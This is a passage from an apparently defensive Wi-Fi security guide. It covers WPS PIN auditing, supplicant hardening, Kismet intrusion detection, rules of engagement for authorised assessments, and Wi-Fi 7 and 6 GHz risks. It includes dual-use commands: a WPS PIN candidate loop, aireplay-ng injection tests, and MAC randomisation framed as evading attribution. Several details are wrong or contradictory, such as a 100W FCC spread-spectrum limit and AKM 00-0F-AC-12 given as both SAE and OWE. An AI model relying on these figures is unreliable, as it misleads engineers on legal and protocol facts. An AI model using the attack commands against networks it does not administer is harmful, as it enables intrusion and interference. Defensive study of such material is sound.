        3*$(echo $pin | cut -c3) + 1*$(echo $pin | cut -c4) + \
        3*$(echo $pin | cut -c5) + 1*$(echo $pin | cut -c6) + \
        3*$(echo $pin | cut -c7)) % 10) % 10 ))
    [ "$checksum" -eq "$(echo $pin | cut -c8)" ] && echo "VALID WPS PIN: $pin"
done

Finding	Risk	Action
PIN derived from MAC address (algorithmic)	Trivial prediction	Replace firmware or retire device
PIN static across device model	Batch compromise	Vendor disclosure, network isolation
PIN "random" but low entropy (LCG seed)	Recoverable from serial	Custom RNG reimplementation if possible
WPS push-button only, no PIN	Reduced attack surface	Acceptable for physically secured locations

Client Configuration Hardening

Proactive scanning creates probe request fingerprints and exposes preferred network lists. Suppress this behavior and restrict automatic connections.

# wpa_supplicant.conf — probing suppression and network profile lockdown
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
ap_scan=1
fast_reauth=0               # Disable EAP fast reauth; prevents session resumption abuse

network={
    ssid="CorpSecure"
    scan_ssid=0             # Do not actively probe for hidden SSID
    key_mgmt=WPA-EAP
    # Lock to specific BSSID prevents roaming to evil twin with same SSID
    bssid=00:11:22:33:44:55
    # Disable automatic connection; require explicit user action
    disabled=1
}

# systemd service override for VPN auto-connect on wireless association
# /etc/systemd/system/wpa_supplicant.service.d/vpn-up.conf
[Service]
ExecStartPost=/usr/local/bin/wireguard-up-on-assoc.sh

VPN auto-connect script with association validation:

#!/bin/bash
# wireguard-up-on-assoc.sh — only bring tunnel up on authorized BSSID
AUTHORIZED_BSSIDS="00:11:22:33:44:55 00:11:22:33:44:66"
CURRENT_BSSID=$(wpa_cli status | grep bssid | cut -d= -f2)

if echo "$AUTHORIZED_BSSIDS" | grep -qw "$CURRENT_BSSID"; then
    wg-quick up corp-tunnel
    # Apply strict routing: tunnel is default, wireless is stub only
    ip route add 192.0.2.0/24 dev wlan0 scope link table 42
    ip rule add from 192.168.1.0/24 lookup 42
else
    logger -p auth.warning "VPN suppressed: unauthorized BSSID $CURRENT_BSSID"
    # Option: deauthenticate immediately
    # wpa_cli disconnect
fi

Common mistakes:

Mistake	Why it bites you
ieee80211w=1 on AP, optional on supplicant	Attacker advertises ieee80211w=0, both sides silently downgrade
Certificate CN match only, no SAN check	Evil twin uses legitimate CA + different SAN; CN validation passes
RADIUS check_cert_cn without check_cert_exp	Revoked but unexpired attacker certificate accepted
Guest VLAN with IPv6 unfiltered	IPv6 RA hijacking bypasses entire IPv4 ACL architecture
WPS "disabled" in web UI, not in firmware	Wash still detects WPS IE; PIN mode active at 802.11 level
ap_scan=2 with autoscan periodic	Continuous background probing exposes travel patterns and home network SSIDs

Configuration verification checklist:

• [ ] hostapd -dd shows WPA: PMF required for all association attempts
• [ ] eapol_test to RADIUS server fails with untrusted server certificate
• [ ] wash output empty for all production SSIDs after 5-minute monitor
• [ ] iw dev wlan0 station dump reports MFP for every associated station
• [ ] VPN tunnel established within 3 seconds of wireless association; traceroute 198.51.100.1 exits via tunnel interface
• [ ] Guest client cannot ping6 ff02::1%wlan0 to discover other segment hosts

Further reading

• 802.11w Protected Management Frames Cisco Wireless LAN ...
• Cisco Catalyst 9800 Series Wireless Controller Software Configuration Guide, Cisco IOS XE 17.16.x - 802.11w Cisco Catalyst 9800 Series Wirel
• hostap-wpa3/hostapd/hostapd.conf at master - GitHub

WIDS/WIPS Architecture: Seeing the Air

Effective wireless monitoring is a physical problem first and a software problem second. A single sensor in the ceiling of a warehouse will miss directional attacks aimed at the loading dock, and a laptop running Kismet in promiscuous mode is not a substitute for distributed sensor placement. The architecture that works combines three layers: edge sensors for raw capture, local aggregators for deduplication and preliminary analysis, and a centralized correlation engine where temporal and spatial patterns become visible.

For sensor placement, think in terms of cell overlap rather than coverage. Each sensor should see 60–70% of its neighbors' range to enable triangulation and to eliminate single-point blind spots. In multi-floor buildings, vertical separation matters: 2.4 GHz penetrates concrete better than 5 GHz, so your 5 GHz sensor grid needs tighter spacing. Directional Yagi or panel antennas on select sensors can watch perimeter parking lots and outbuildings where attack staging occurs.

Centralized correlation is where stateless alerts become useful intelligence. A deauthentication frame on one sensor is noise; the same source MAC deauthenticating clients across three sensors in 90 seconds is an attack. Kismet's alert REST API and live packet export feed this pipeline, but the correlation logic is yours to build.

Kismet Drone Deployment and Real-Time Alerting

Kismet operates optimally in stationary, not mobile, deployments. Its passive collection mode detects hidden networks and non-beaconing infrastructure through data traffic analysis alone, but this requires sustained presence. The drone model separates capture from processing: lightweight sensors run kismet_cap_linux_wifi or equivalent remote capture binaries, streaming 802.11 frames to a central Kismet server over TCP.

Lab deployment — sensor node:

# On Raspberry Pi 4 or similar edge sensor with supported monitor-mode card
sudo apt install kismet-capture-linux-wifi

# Start remote capture pointing to central server at 192.0.2.10:3501
sudo kismet_cap_linux_wifi \
    --connect 192.0.2.10:3501 \
    --source wlan1:wlan1 \
    --env-monitor

What it does: Runs only the capture component, streaming parsed 802.11 metadata rather than raw pcap to reduce backhaul bandwidth. When to use it: Resource-constrained edge locations where full Kismet server operation is impractical. Risks: TCP backhaul over WiFi creates a meta-monitoring problem—use wired Ethernet for drone uplink where possible. Expected output: Central server logs remote source connection; frames appear tagged with source UUID.

Central server — alert threshold configuration:

Kismet defines two alert categories: stateless/stateful fingerprint-based alerts for known-hostile behaviors (wireless driver attacks, malformed frame sequences), and trend-based monitors for time-anomalous patterns like flooding and denial-of-service. Tune trend monitors in kismet.conf or via the web UI:

# Example alert tuning section
alert=DEAUTHFLOOD,20/sec,10/sec,300
alert=BCASTFLOOD,50/sec,30/sec,300
alert=BSSTIMECOUNT,5/min,3/min,600

The three numeric fields are: rate threshold, burst threshold, and minimum silence period (seconds) before re-alerting. These are site-specific; a conference venue with 5,000 clients will need radically different baselines than a manufacturing floor with fifty fixed IoT stations.

Signature-Based Detection: Rogue APs and Evil Twins

Rogue AP detection splits into two problems with different difficulty levels. Layer-2 rogue APs—unauthorized devices on your wired infrastructure or open APs bridged to your SSID—are relatively detectable through existing solutions. Kismet flags unconfigured BSSIDs, unexpected WPA2 Enterprise RADIUS fingerprints, or beacon intervals deviating from your deployed template. Layer-3 rogue APs protected by WEP or comparable security measures are significantly more challenging; the encryption boundary hides the BSSID-to-infrastructure mapping that simple beacon analysis relies on.

For evil twin detection, analyze beacon metadata beyond the SSID string:

Field	Normal Baseline	Evil Twin Indicator
BSSID	OUI matches vendor procurement records	Randomized or unregistered OUI
Channel	Assigned from planned spectrum	Unexpected channel (e.g., your channel 36 twin on channel 165)
Beacon interval	100 TUs (102.4 ms) typical	Deviations suggest manual configuration
RSN capabilities	Matches deployment standard	Bitmask differences in MFP, group cipher
Supported rates	Vendor-specific	Legacy 802.11b rates only (inexpensive hardware giveaway)

Kismet syslog normalization for SIEM ingestion:

Kismet supports syslog output for integration with SIEM platforms. Configure in kismet_logging.conf:

log_types=pcapng,kismet,alert
enable_syslog=true
syslog_facility=local4
syslog_host=192.0.2.50:514

Sample syslog format output:

<164>May 15 14:32:11 kismet-server kismet: ALERT ADVERSIONROGUE BSSID[aa:bb:cc:dd:ee:ff] SSID[CorpWiFi-Fake] frequency[5180] reason[Unconfigured BSSID with matching SSID to authorized network]

Parse at the SIEM with a simple grok pattern:

%{SYSLOGPRI:priority}%{SYSLOGTIMESTAMP:timestamp} %{HOSTNAME:host} kismet: ALERT %{WORD:alert_type} BSSID\[%{MAC:mac}\] SSID\[%{DATA:ssid}\] frequency\[%{NUMBER:freq}\] reason\[%{GREEDYDATA:reason}\]

What it does: Pushes structured alerts to your log aggregator in real time. When to use it: When Kibana, Graylog, or Splunk is your single pane of glass; eliminates API polling latency. Risks: UDP syslog can drop under flood conditions; consider TCP syslog or local rsyslog buffering. Expected output: Alerts appear as parsed fields in your SIEM, enabling dashboard correlation with wired-side events.

Behavioral Anomaly Detection

Client association patterns reveal compromise that signature detection misses. Track these metrics per client MAC over sliding windows:

• Association roam velocity (AP changes per minute)
• Probe request SSID entropy (sudden broad probing suggests reconnaissance)
• Time-of-day deviation from historical baseline
• Geolocation consistency (if your sensors have GPS or fixed position tags)

A client that historically associated with the third-floor engineering AP and now probes aggressively across all floors at 03:00 merits investigation regardless of whether its credentials are valid.

For geolocation, Kismet can record GPS coordinates per packet if the sensor has a fix. Correlate with inconsistency: a MAC seen simultaneously from sensors 500 meters apart is either spoofed or under active attack.

802.11 Frame Metadata for Forensic Timeline Reconstruction

Kismet's pcapng logs include per-frame Radiotap headers with signal strength, noise, channel, and rate. For forensic reconstruction after an incident:

# Extract all frames from suspected rogue AP within incident window
tshark -r incident.pcapng -Y "wlan.bssid == aa:bb:cc:dd:ee:ff" \
    -T fields -e frame.time_epoch -e radiotap.dbm_antsignal \
    -e wlan.fc.type_subtype -e wlan.seq

# Output sample (truncated):
# 1715784723.123456    -42    0x08    1234   # Beacon
# 1715784723.234567    -39    0x20    2847   # Data
# 1715784725.345678    -67    0x0c    2848   # Deauthentication (sudden signal drop)

The signal drop from -39 dBm to -67 dBm on the deauth frame suggests the attacker moved between capture and attack execution, or switched to lower transmit power—physical layer evidence you cannot derive from wired logs alone.

Integration with SIEM and Zeek/Spicy Pipeline

For environments already running Zeek (formerly Bro), the Spicy plugin enables custom 802.11 or IP-over-wireless protocol analyzers. The Zeek/Spicy integration exposes Spicy parsers to Zeek's processing pipeline, allowing you to write decoders for Kismet-exported metadata or raw Radiotap structures. This is development work, not configuration—expect to write Spicy grammar for your specific frame types of interest.

DPDK-accelerated capture, as documented in Suricata, provides libraries for high-throughput packet processing. While Suricata's DPDK documentation focuses on wired capture hardware optimization, the same principles apply to wireless monitoring at scale: kernel bypass, dedicated CPU cores, and hugepage memory allocation. For 802.11 specifically, this requires a DPDK-enabled wireless driver, which is less common than its wired equivalent; check current driver support for your NIC.

Physical Layer Evasion and Monitoring Compensation

Attackers evade WIDS through directional antennas, power control, and brief transmission windows. A high-gain panel antenna aimed at a specific client from a parking lot may not illuminate your ceiling-mounted sensor at all. Compensate with:

Technique	Monitoring Countermeasure
Directional transmission	Perimeter sensors with directional antennas pointed outward; sector coverage rather than omnidirectional
Power control (near-far problem)	Multiple low-height sensors in suspected attack corridors; signal strength triangulation
Short-duration attack (hit-and-run)	Continuous 24-hour pcapng ring buffer on all sensors; post-hoc retrieval, not real-time detection alone
Non-standard channels or 802.11ax 6 GHz	Sensor cards with full spectrum coverage; regulatory domain unlock where legal

The non-obvious truth: a WIDS that alerts only in real time fails against a patient attacker. The ring buffer is your insurance policy. Allocate storage for 72 hours of full pcapng at minimum; disk is cheaper than an undetected breach.

Common Mistakes in Wireless Monitoring

Mistake	Why it bites you
Using managed-mode client NICs for "monitoring"	You see only beacons and your own traffic; miss hidden networks and direct client-to-client attacks entirely
Alerting on every unexpected BSSID	Alert fatigue hides the real rogue AP; baseline your environment, then alert on deviations from that baseline
No GPS or position tagging on sensors	Cannot correlate signal strength with physical location; spatial analysis becomes impossible
Ignoring 2.4 GHz "legacy" band	Attackers target crowded 2.4 GHz for evil twins exactly because defenders have moved focus to 5/6 GHz
Relying solely on commercial WIPS without pcapng	Vendor black-box detection misses novel attacks; you need raw frames for custom analysis

Checklist: Production Monitoring Deployment

• [ ] All sensors run confirmed monitor-mode capable cards with tested raw 802.11 capture
• [ ] Sensor grid provides overlapping coverage with 60%+ mutual visibility
• [ ] Central Kismet server has storage for 72-hour rolling pcapng per sensor
• [ ] Alert thresholds calibrated against 7-day baseline of normal traffic
• [ ] Syslog or REST API integration tested to SIEM with verified field parsing
• [ ] Perimeter sensors include directional antennas for outward monitoring
• [ ] Drone-to-central communication runs over out-of-band wired network
• [ ] Incident response playbook includes frame metadata extraction procedures

⚠️ Authorized, defensive use only. Directional antenna placement, power analysis, and deauth detection techniques described here are intended for authorized network defense and lab validation of your own infrastructure. Wireless monitoring of networks you do not administer may violate local regulations; verify legal authority before sensor activation.

Further reading

• Alerts - Kismet
• 19.7. DPDK — Suricata 8.0.1 documentation
• 20.8. DPDK — Suricata 9.0.0-dev documentation
• 7. Zeek Integration — Spicy v1.5.4

Authorization Framework: Rules of Engagement

Wireless assessments collapse faster than wired ones when scope boundaries are vague. RF does not respect network diagrams. A tester transmitting deauth frames on channel 6 will hit every 2.4 GHz network in a three-floor radius, not just the target SSID. Your rules of engagement must explicitly define: frequency bands permitted for testing, maximum EIRP (not just "use reasonable power"), prohibited attack types (e.g., jamming vs. association testing), and physical boundaries—parking lot testing is legally and operationally distinct from lobby testing.

PTES structures engagement phases as baseline guidance requiring organizational customization. For wireless, that customization is non-optional. Jurisdiction matters acutely: U.S. assessments fall under 47 CFR Part 15 Subpart E (U-NII) and §15.247 (2.4 GHz spread spectrum), while European engagements face ETSI EN 301 893/EN 300 328. These frameworks diverge on power limits and DFS requirements. A test plan valid in Frankfurt may violate FCC rules in New York if you fail to recalculate EIRP ceilings. Document which regulatory framework governs each test environment; do not assume your home jurisdiction transfers.

Practical note: PTES does not contain a dedicated RF annex. Adapt its pre-engagement phase by adding RF-specific scope controls: channel exclusion lists for operational safety systems, coordination with facility management for transmitter activation windows, and explicit written authorization for any frame injection activity.

---

Pre-Engagement Verification Checklist

Item	Verification Method	Failure Consequence
Written authorization specifies frequency bands, channels, and max TX power	Legal review against test plan	Unlicensed transmission becomes willful interference
Facility/facilities notified of testing window and expected RF signatures	Email confirmation + on-site briefing	Guard response or employee panic call to law enforcement
Channel scan completed for safety-of-life systems (medical telemetry, industrial control)	Spectrum analyzer sweep 30 min pre-test	Harmful interference with protected operations
Test equipment firmware verified, driver versions documented	iw list / airmon-ng driver check	Reproducibility failure; evidence challenged in court
GPS/location logging enabled for all captures	gpsd + Kismet geolocation tag	Inability to prove test occurred at authorized location
Backup NIC available	Spare hardware in kit	Single point of failure mid-engagement

---

Operational Security: RF Leakage and Attribution

Your test traffic is indistinguishable from malicious traffic without proper operational controls. Three vectors expose you: RF leakage beyond the target perimeter, persistent MAC addresses linking to your organization, and temporal patterns (nightly deauth bursts at 02:00 are memorable to SOC analysts).

MAC rotation is table stakes, but implement it correctly. Randomized MACs in probe requests still leak chipset fingerprints through IE fields. For sensitive engagements, use dedicated test hardware never connected to your production identity.

# Verify current MAC and set monitor-mode interface to randomized
ip link show wlan0 | grep ether
sudo ip link set wlan0 down
sudo macchanger -r wlan0
sudo ip link set wlan0 up
sudo airmon-ng start wlan0 6

What it does: macchanger -r assigns a random locally-administered MAC, preserving the U/L bit to indicate non-global uniqueness. When to use it: Before every new test session; rotate between sessions, not mid-session (temporal churn itself becomes detectable). Risks: Some drivers ignore MAC changes in monitor mode; verify with iw dev post-change. Expected output: ether 02:xx:xx:xx:xx:xx (02 prefix confirms local bit set).

Timing discipline: Avoid predictable intervals. Automated deauth tools default to aggressive rates that trigger WIDS signatures and attract investigator attention. Space transmissions with jitter, and cease all activity outside authorized windows—"the test script was still running" is not a defensible explanation for 3 AM transmissions.

---

Equipment Failure Modes

Wireless NICs are the most fragile component in your kit. Driver instability under monitor mode, firmware crashes during frame injection, and antenna mismatch destroy test continuity and corrupt evidence integrity.

Failure	Symptom	Diagnostic
Driver injection incompatibility	aireplay-ng -9 returns "No answer..." despite target present	Check iw list for "Supported interface modes: monitor" and "Supported commands: injection"
Firmware crash under load	Interface disappears from ip link; dmesg shows USB disconnect	Thermal throttling on compact adapters; add passive heatsink or reduce duty cycle
Antenna mismatch	Strong nearby signals, weak target at 20m	Verify connector type (RP-SMA vs. SMA); check VSWR if equipment available
USB bus power collapse	Multiple adapters drop simultaneously	Use powered hub; single bus ports deliver 500mA, insufficient for high-TX adapters

Lab (aggressive validation):

# Stress-test injection capability against known test AP
sudo aireplay-ng -9 -e TestLab -a 02:00:00:00:00:01 wlan0mon

Production (conservative verification):

# Validate monitor mode without transmitting test frames
sudo airmon-ng check wlan0
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo iw dev wlan0mon set channel 6 NOHT
# Verify with passive-only capture
sudo tcpdump -i wlan0mon -c 100 -e -n | head -5

What it does: Production variant creates monitor interface without injection, using tcpdump to confirm frame reception. When to use it: In operational environments where any transmission risks interference. Risks: Passive-only mode cannot validate injection capability; pair with controlled lab test pre-engagement. Expected output: Radiotap headers with signal strength and data rates, confirming functional monitoring without TX validation.

---

False Positive Management

Your authorized deauth flood will trigger every wireless IDS in the enterprise. Coordinate with the blue team beforehand, but also build distinguishability into your test activity. Structured test signatures allow defenders to separate your work from genuine attacks:

• Predictable sequence numbers in your test frames (e.g., fixed 4-byte payload prefix) for SOC correlation
• Documented BSSID/MAC ranges reserved for test equipment
• Real-time communication channel (out-of-band) for activity notifications

Without these controls, your test becomes an unscheduled incident. Worse, a genuine concurrent attack hides in your noise. Maintain a test activity log with 1-second granularity, share it with the SOC, and cross-correlate against their alert timeline post-test.

---

Physical Safety and Regulatory Hard Limits

FCC Part 15 sets absolute ceilings: 100W maximum output for spread spectrum systems, with SN-ratio-based reduction above 1W. ETSI limits are stricter and vary by sub-band. Exceeding these is not a compliance fine risk—it is a spectrum enforcement action with equipment seizure precedent.

More immediate is interference risk to safety systems. Industrial environments use 2.4 GHz for wireless sensor networks; medical facilities for telemetry. Your 30dBm amplifier can crash both. The checklist above mandates pre-test spectrum sweep; execute it with a portable analyzer or even a second NIC in wide scan mode:

# Rapid channel occupancy survey before active testing
sudo iw dev wlan0mon set channel 1
sudo iw dev wlan0mon scan passive | grep -E "(SSID|signal|freq)" | head -20
# Repeat for 6, 11, 36, 40, 44, 48, 149, 153, 157, 161

What it does: Passive scan on representative channels detects operating networks without transmitting. When to use it: Mandatory pre-test on all channels in scope. Risks: Passive scan misses non-WiFi emitters (cordless phones, proprietary telemetry); supplement with spectrum analyzer if safety systems are plausible. Expected output: SSID list with signal strengths; absence of expected medical/industrial SSID names does not guarantee channel safety.

---

Documentation Rigor and Report Structure

PTES emphasizes reproducibility. For wireless, that means: exact hardware (NIC chipset, antenna model, firmware version), driver and tool versions, channel and power settings, GPS coordinates, and complete packet captures (not just summaries). Aircrack-ng .cap files are standard; annotate with kismetdb or equivalent for geolocation correlation.

Report structure for wireless assessments should include:

• Executive summary: Scope boundaries, test window, authorization reference
• Methodology: PTES-adapted phase description with wireless-specific controls
• Findings per SSID/BSSID: Signal plots, encryption state, authentication weaknesses, capture evidence
• Operational notes: Deviations from plan, equipment failures, false positive resolution
• Remediation timeline: Prioritized by exploitability from RF-accessible perimeter

A finding without a timestamped capture is an anecdote. A capture without a verification hash is unverifiable. Generate SHA-256 at capture time:

sha256sum capture_2024-06-15_site-alpha.cap >> capture_manifest.sha256

Hard-won insight: The most professionally damaging wireless assessment failure is not a missed vulnerability—it is an unprovable negative. "We found nothing" requires the same evidentiary standard as "We found WPA2-PSK cracked in four hours." Incomplete documentation transforms a clean result into an inconclusive one, and inconclusive results do not survive peer review or litigation discovery.

Further reading

• Welcome to PTES’s documentation! — pentest-standard 1.1 documentation

Wi-Fi 7 and the Multi-Link Operation Problem

Wi-Fi 7 (802.11be) does not define its own security architecture. It inherits WPA3 and WPA2 configurations from deployment decisions, which means every MLO (Multi-Link Operation) setup is only as secure as the weakest link in its association. MLO allows a single station to maintain simultaneous connections across 2.4 GHz, 5 GHz, and 6 GHz bands, aggregating throughput but fragmenting the observable traffic stream across multiple channels.

This breaks traditional monitoring assumptions. A wireless IDS positioned on channel 36 in the 5 GHz band sees only a fraction of the data; the rest traverses 6 GHz or 2.4 GHz links invisible to that sensor. Attackers can exploit this asymmetry: probe for security policy inconsistencies between links, target the 2.4 GHz leg with downgrade pressure while exfiltrating over 6 GHz, or manipulate link-switching events to evade detection during lateral movement.

Wi-Fi 7 introduces new frame types for link management—Multi-Link Probe Request/Response, Basic Multi-Link element, and Buffer Status Report frames. These frames must be parsed by monitoring tools before they can be correlated across channels. Current stable releases of most open-source wireless analysis suites do not fully decode these; check the latest release notes for 802.11be frame support before deploying any monitoring infrastructure for Wi-Fi 7 environments.

# Lab: Survey for MLO-capable networks and identify per-link security policies
sudo airmon-ng start wlan0
# MLO beacons include Multi-Link element in IE 255 (Vendor Specific) with OUI 0x50-6F-9A
sudo tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x08" -T fields \
  -e wlan.bssid -e wlan.rsn.akms -e wlan.tag.vendor.data \
  | grep -i "50:6f:9a:1b" | head -20

What it does: Extracts beacon frames and filters for Wi-Fi Alliance OUI indicating MLO capability, showing authentication key management suites per BSSID. When to use it: During site surveys of Wi-Fi 7 deployments to verify consistent security policy across expected link bands. Risks: Channel-hopping misses transient beacons; run for at least 2 minutes per band. wlan0mon must support 6 GHz passive scan or results are incomplete. Expected output: One line per detected BSSID with colon-separated AKM values (e.g., 00:11:22:33:44:55 00-0F-AC-12,00-0F-AC-02 50:6f:9a:1b:...) where 00-0F-AC-12 = SAE (WPA3-Personal), 00-0F-AC-02 = PSK (WPA2-Personal).

Production: Reduce scan duration to 30 seconds per channel set to minimize spectrum occupancy; log to file for offline analysis rather than real-time grep.

---

6 GHz: AFC, Attack Range, and the Trust Boundary Shift

Wi-Fi 6E and Wi-Fi 7's use of 6 GHz introduces Automated Frequency Coordination (AFC), a regulatory mechanism where devices report location to coordinate with incumbent services (satellite earth stations, fixed microwave links). Devices must obtain authorization from AFC providers every 24 hours, with a 24-hour grace period for reconnection.

The security implication is architectural: your access points now depend on an external authorization service for basic operation. AFC systems make frequency and power decisions for device populations based on reported location data. Compromise of an AFC provider—or localized spoofing of location reports—can force devices onto congested channels, reduce power below reliable thresholds, or deny authorization entirely. This is not theoretical: recent analytical work at NDSS FutureG workshop examined trust relationships in AFC implementations as a novel attack surface.

Practically, 6 GHz also changes physical attack geometry. The band's propagation characteristics differ sharply from 2.4/5 GHz: shorter range through obstructions, higher susceptibility to absorption, and more directional behavior. An attacker in the parking lot may need to be significantly closer than with 5 GHz, but the reduced ambient noise and less crowded spectrum mean that a positioned adversary achieves cleaner signal capture when in range. Your threat model must update accordingly: outdoor detection zones shrink, but indoor eavesdropping quality rises.

Scenario	5 GHz assumption	6 GHz reality	Security adjustment
Adjacent-building attack	Blocked by walls, -70 dBm	Often fails to propagate; attacker must enter building or deploy indoor relay	Reduce reliance on physical distance; monitor for rogue indoor APs
Rogue AP detection	Standard power-based geolocation	Power reports less correlated with distance due to beamforming	Use fingerprinting (timing, chipset artifacts) not just RSSI
DFS evasion	Channel switch announcements trackable	AFC-managed; switch logic opaque to local observers	Log AFC provider responses; alert on grace-period entry
Client isolation leak	Cross-band traffic visible on one monitor	Split across MLO links; 6 GHz leg invisible to 5 GHz-only sensors	Deploy multi-channel capture or accept monitoring gaps

Low Power Indoor (LPI) operation is restricted to indoor environments as a regulatory condition. This is not a security control—building penetration happens—but it does mean that outdoor directional antennas and high-gain amplifiers violate regulatory parameters, creating detectable anomalies if your spectrum monitoring includes power compliance checks.

---

Enhanced Open (OWE) Deployment Realities

Opportunistic Wireless Encryption (OWE), standardized in RFC 8110, provides encrypted 802.11 associations without authentication. No PSK, no 802.1X, no captive portal credential—just a Diffie-Hellman exchange that protects against passive eavesdropping on otherwise open networks.

The gap between the draft I-D status (expired, not endorsed) and final RFC 8110 (March 2017, Informational) illustrates a broader pattern: Wi-Fi security mechanisms can spend years in standardization limbo before reaching deployable maturity. OWE is now mature, but adoption in consumer and enterprise equipment varies. Check your access point firmware release notes specifically; "OWE" or "Wi-Fi CERTIFIED Enhanced Open" must be explicitly listed, not inferred from WPA3 support.

OWE does not protect against active attacks: an attacker deploys a same-SSID rogue AP, clients associate and perform DH with the attacker, and traffic flows decrypted through the attacker. OWE provides opportunistic encryption, not authentication. Deploy it where the alternative is completely open Wi-Fi (guest networks, public spaces), but never where you need identity assurance.

# Check if a network advertises OWE transition mode
# OWE BSS uses AKM suite selector 00-0F-AC-12 with special handling in RSN IE
sudo iw dev wlan0 scan | awk '/^BSS /{bssid=$2} /SSID: /{ssid=$2} /RSN/||/AKM/{print bssid, ssid, $0}' | grep -E "(OWE|18:1)"

What it does: Parses scan results for RSN information indicating OWE support. When to use it: Verifying that "enhanced open" networks are actually using OWE and not marketing language for unencrypted access. Risks: Some drivers suppress full IE display; use iw not iwlist for complete RSN output. Expected output: Lines containing 18:1 (OWE AKM) or explicit OWE transition mode indicators; absence means unencrypted or different security.

---

Wi-Fi Aware, Wi-Fi Direct, and Adjacent Protocols

Wi-Fi Aware (formerly NAN, Neighbor Awareness Networking) and Wi-Fi Direct establish device-to-device sessions without infrastructure. These operate outside enterprise AP control, creating shadow networks on approved hardware. Security boundaries collapse when a corporate laptop with Wi-Fi Direct enabled bridges to an attacker's device in the same conference room, then routes to the corporate SSID.

The practical response is administrative, not technical: disable Wi-Fi Direct and Wi-Fi Aware at the driver or GPO level where not explicitly required. For IoT environments where these protocols are used (smart displays, printers, casting devices), place them on isolated VLANs with stateful inspection at the boundary, not just SSID separation.

Adjacent to Wi-Fi, Zigbee and Thread operate in overlapping 2.4 GHz spectrum. Zigbee remains dominant in home and office IoT deployments, and its security implementation has attracted sustained research attention. The protocol provides security features—link keys, network keys, frame counters—but lightweight implementations often disable or weaken them for battery conservation. NXP's application note on maximizing Zigbee security frames this as implementation discipline rather than protocol redesign: the tools exist, but must be used correctly.

The real risk is adjacency, not direct interaction. A Zigbee coordinator on 2.4 GHz channel 15 sits between Wi-Fi channels 1 and 6. Cross-protocol interference is minimal (Zigbee uses 2 MHz channels, Wi-Fi 20-160 MHz), but a compromised Zigbee device with modified firmware can emit in-band noise or crafted signals that degrade Wi-Fi link quality selectively. More plausibly, the Zigbee network becomes a lateral target: compromise the IoT segment, then bridge to Wi-Fi via a dual-radio hub (smart home controllers, some access points with IoT radio modules).

---

Post-Quantum Preparation for Wireless Key Exchange

WPA3-SAE (Personal) and WPA3-Enterprise 192-bit mode use finite-field or elliptic-curve Diffie-Hellman for key establishment. These are vulnerable to harvest-now, decrypt-later attacks by future cryptanalytically relevant quantum computers. The standard does not currently specify post-quantum key exchange mechanisms.

Preparation is staged. First, audit your cryptographic agility: can your RADIUS infrastructure and client supplicants be reconfigured for hybrid key exchange without firmware replacement? Second, monitor IEEE 802.11 and Wi-Fi Alliance working groups for post-quantum amendments; the timeline is uncertain but 5-10 years is a reasonable planning horizon. Third, for highly sensitive environments, consider overlay VPNs with post-quantum algorithms (ML-KEM encapsulation) riding atop standard WPA3 associations, accepting the throughput and latency costs.

Do not wait for the standard. The transition will be messy—mixed-mode deployments, client capability probes, fallback handling—and organizations with tested update pipelines will deploy faster.

---

Decision Framework: When to Upgrade

Factor	Stay on Wi-Fi 6/6E	Move to Wi-Fi 7
Monitoring depends on single-channel WIDS	✓ MLO fragments visibility	✗ Requires multi-channel or MLD-aware sensors
6 GHz not yet deployed	✓ No AFC dependency yet	✗ Adds AFC trust boundary before needed
WPA3-Enterprise 192-bit required today	✓ Fully supported	○ Same support, no security gain
MLO throughput critical (8K video, AR/VR)	✗ Cannot deliver	✓ Justified if monitoring upgraded in parallel
Post-quantum preparation priority	✓ Stable, documented	✗ Standard unclear, firmware churn likely

The concrete element: before any Wi-Fi 7 pilot, run the tshark MLO survey above against your existing infrastructure. If you cannot parse Multi-Link elements reliably, you cannot monitor the deployment reliably. Fix that first, or accept blind spots in your defensive coverage.

Further reading

• PDF Maximizing Security in ZigBee Networks
• draft-wkumari-owe-01 - OWE: Opportunistic Wireless Encryption
• RFC 8110: Opportunistic Wireless Encryption